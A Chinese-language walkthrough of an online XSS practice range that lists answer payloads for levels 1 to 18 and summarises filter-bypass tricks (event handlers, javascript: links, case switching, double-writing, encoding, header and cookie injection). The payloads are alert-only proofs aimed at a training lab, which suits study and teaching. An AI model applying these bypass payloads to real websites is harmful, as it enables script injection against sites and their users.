靶场地址:http://xss.fbisb.com/

参考的文章:https://www.cnblogs.com/cute-puli/p/10834954.html  感谢大佬的分享

做这个题的思路就是  上来直接找输入点或者交互的地方,直接输 <script>alert("xss")</script>  别管他返回什么,直接右键查看源代码 看看 刚才输入的,哪些被过滤了,然后再重新构造 ,重新输入

第一关:pass    答案  <script>alert("xss")<script/>

第二关:pass    答案   <script>alert("xss")<script/>

第三关:以前打通关了一次这个靶场,没想到刚到第三关就卡住,哎,水平还是不行,多努力吧。想到了用 javascript:alert(1)  代替 alert("xss") 但是看到尖括号 < > 被过滤了,第一想到的是用 base64 和 HTML实体编码下绕过,,,行不通,,,最后想起有几个  on*** 开头的函数,可以进行间接弹窗 ,遂查看了解析 ,,,做了出来onmouseover这个函数具体功能我也没看,翻译过来大概就行 当光标移动到图片上的时候就会执行函数      答案    '  onmouseover= ' javascript:alert(1)

第四关: 和第三关差不多, 答案 : "  onmouseover= " javascript:alert(1)    或者   " oninput='alert(1)'

第五关:  又是一种新奇的,构造 超链接      答案       " /> <a href = "javascript:alert(1)"> sss

第六关:只能说脑子不够灵活,其实还是不够细心,前几关想到了用大小写绕过,不过没用,到这关就没想起来再用大小写绕过试试   答案  " /> <a hrEf = "javascript:alert(1)"> sss

第七关:双写绕过,答案  :" /> <a hrhrefef = "javascrscriptipt:alert(1)"> sss 

第八关:这里又卡了一下,应该是编码绕过,没有想到,只想到了用 双写和大小写绕过..... 只需要编码javascript中的其中一个字母就可以,这里使用的是Unicode编码将 t 转换为  t

答案 :  "  javascript:alert(1) "

第九关:这关确实有点神奇,查看代码之后发现要求必须是 url 格式,但是不知道为啥,必须得把网站放在中间,若是这样就不行
 javascript:%0dalert(1)%0dhttp://www.baidu.com%0d, 答案  javascript:%0dhttp://www.baidu.com%0dalert(1)%0d    %0d 指的是 url编码中的空格

第十关:这关难度就稍微有点上来,这才是xss该有的样子。这关需要两点,查看源代码之后,首先需要覆盖 hidden 属性,让我们输入的信息能够显示出来,并且构造 函数触发弹框

答案  :11111&t_sort= xxxxx" type="text"   onclick="alert(1)"

第十一关:先用   sss&t_sort=sss&t_history=rrr&t_link=ppppp  看看输入的值是哪个 input 接受的,确定之后,怎么构造都不成功,查看教程之后发现。。。这关是通过更改 第十关的refer,再refer中构造代码进行触发弹框   答案:23&t_sort="type="text" onclick="alert(1)              抄的别人的

第十二关:同理第十一关,第十二关是更改 user—agent

第十三关:同理,前两关,修改cookie进行注入

第十四关:本关因iframe调用的文件地址失效,无法进行测试。要考的应该是通过修改iframe调用的文件来实现xss注入

第十五关:查看代码才能知道是文件包含漏洞,答案 :level15.php?src='level1.php?name=<script>alert(1)</script>'

第十六关:这里就略有些难度了,连交互点都没有,难点在于需要自己构造输入点     答案:/level16.php?keyword=<a%0Atype="text"%0Aonclick="alert(1)">

第十七关:补充:SWF是一种基于矢量的Flash动画文件格式,一般用FLASH软件创作并生成SWF文件格式,也可以通过相应软件将PDF等类型转换为SWF格式  <火狐浏览器会禁用flash,IE和chrome均可>

答案 :/level17.php?arg01=q&arg02=%20onmouseover=alert(11111)         onmouseover 前面必须有个空格!!!

第十八关:和第十七关一样,注意,要用IE或者火狐浏览器,答案    level18.php?arg01=a&arg02=%20%20%20onmouseover=alert(1)

剩下的关卡不会做。。。

总结:

XSS测试步骤:

1.检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或HTTP头中的内容(refer,cookie等等)

2.分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

 XSS绕过总结:

xss绕过基本上就是,使用其他函数绕过,大小写绕过,双写绕过,超链接跳转绕过,编码绕过

1.如果过滤了 <>  首先想到用  javascript:alert(1) ,  onmouseover=alert(1) , onclick=alert(1)  这些进行替代(还有不少以 on 开头的函数可以替代,具体可以百度)

2.如果过滤了Script ,可以尝试进行大小写替换(ScRiPt),进行双写绕过(scrscriptipt),进行编码绕过(只对其中的一个字母进行编码即可,HTML编码或者Unicode编码都可以,这里对  t  字母进行 unicode 编码 ,script 编码之后为 script   )

3.可以尝试进行 <a  href = "">sss  构造 名称为 sss 的超链接 进行跳转弹框绕过

4.如果过滤了 “ 双引号 或者 ‘ 单引号 ,可以用 javascript:alert(1) 或者 <script>alert(1)</script>  进行绕过

补充:

1.javascript支持unicode、escapes、十六进制、八进制等编码形式。

2.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

3.3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.<script>eval("alert('1')")</script>    用eval() 函数也可以进行弹窗

xss靶场练习(7.22)的更多相关文章

  1. xss靶场详解

    一个XSS靶场练习记录 https://blog.csdn.net/qq_41500251/article/details/101116697 001.level 1 反射型 1.观察源码 <s ...

  2. 存储型XSS靶场作业

    首先进入靶场:http://59.63.200.79:8082/index.php xss平台使用:xss8c 发现CMS版本号,搜索是否此版本号存在可利用漏洞: 找到存储型xss漏洞,在xss平台生 ...

  3. xss靶场大通关(持续更新ing)

      xss秘籍第一式(常弹) (1)进入自己搭建的靶场,发现有get请求,参数为name,可进行输入,并会将输入的内容显示于网页页面 (2)使用xss的payload进行通关: http://127. ...

  4. XSS靶场练习

    0x00:前言 一个XSS练习平台,闯关形式,一共20关 0x01:开始 第一行都是代码插入点,下面几行是payloads(插入点和payloads中间空一行) LV1 <script>a ...

  5. (未完)XSS漏洞实战靶场笔记

    记录下自己写的XSS靶场的write up,也是学习了常见xss漏洞类型的实战场景

  6. XSS挑战第一期Writeup

    0x00 起因 这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过 ...

  7. HMM XSS检测

    HMM XSS检测 转自:http://www.freebuf.com/articles/web/133909.html 前言 上篇我们介绍了HMM的基本原理以及常见的基于参数的异常检测实现,这次我们 ...

  8. XSS(跨站脚本攻击) - 常用代码大全

    XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...

  9. XSS challenges 1-10

    学长发的xss靶场,刚好js学完了,上手整活. 这个提示说非常简单,直接插入就完事了 <script>alert(document.domain)</script> 第二关. ...

随机推荐

  1. selenium如何处理H5视频

    selenium处理H5视频主要使用的是javascript,javascript函数有内置的对象叫arguments,arguments包含了调用的参数组,[0]代表取第一个值. currentSr ...

  2. python-交互模式

    1.打开python交互式命令行: Windows+R→回车→输入python 如图 输入python进入交互模式,相当于启动了python解释器,输入一行代码就执行一行代码,可以用交互模式去验证每一 ...

  3. JDBC【2】-- JDBC工作原理以及简单封装

    目录 1. 工作原理 1.1 加载驱动 1.1.1 类加载相关知识 1.1.2 为什么JDK 1.6之后不需要显示加载了? 1.2 驱动加载完成了,然后呢? 2. 简单封装 1. 工作原理 一般我们主 ...

  4. kafka入门之broker-副本与ISR设计

    kafka把分区的所有副本均匀地分配到所有broker上,并从这些副本中挑选一个作为leader副本对外提供服务,而其他副本被称为follower副本,只能被动地向leader副本请求数据,从而保持与 ...

  5. H3CNE(教程)

    培训机构提供的ppt,可能也是来自于官方提供,涉及到H3CNE认证考试中的全部知识点,学真技术还得看这个.包括帧中继,哪怕是淘汰了十多年了. https://huxiaoyao.lanzous.com ...

  6. MySQL必知必会:简介undo log、truncate、以及undo log如何帮你回滚事物

    目录 一.前言 二.undo log表空间 三.关于undo log默认的配置 四.如何将undo log放到单独的表空间 文章公众号首发,持续更新中 五.rollback segment 六.什么是 ...

  7. dubbo源码学习(二)dubbo容器启动流程简略分析

    dubbo版本2.6.3 继续之前的dubbo源码阅读,从com.alibaba.dubbo.container.Main.main(String[] args)作为入口 简单的数据一下启动的流程 1 ...

  8. 二、springboot项目使用seata实现分布式事务

    所有文章 https://www.cnblogs.com/lay2017/p/12078232.html 正文 在上一篇文章中,我们简单地了解了一下什么是seata.它是来自阿里巴巴的内部项目不断地发 ...

  9. 基于gRPC的注册发现与负载均衡的原理和实战

    gRPC是一个现代的.高性能.开源的和语言无关的通用RPC框架,基于HTTP2协议设计,序列化使用PB(Protocol Buffer),PB是一种语言无关的高性能序列化框架,基于HTTP2+PB保证 ...

  10. MySQL索引(二):建索引的原则

    在了解了索引的基础知识及B+树索引的原理后(如需复习请点这里),这一节我们了解一下有哪些建索引的原则,来指导我们去建索引. 建索引的原则 1. 联合索引 我们可能听一些数据库方面的专业人士说过:&qu ...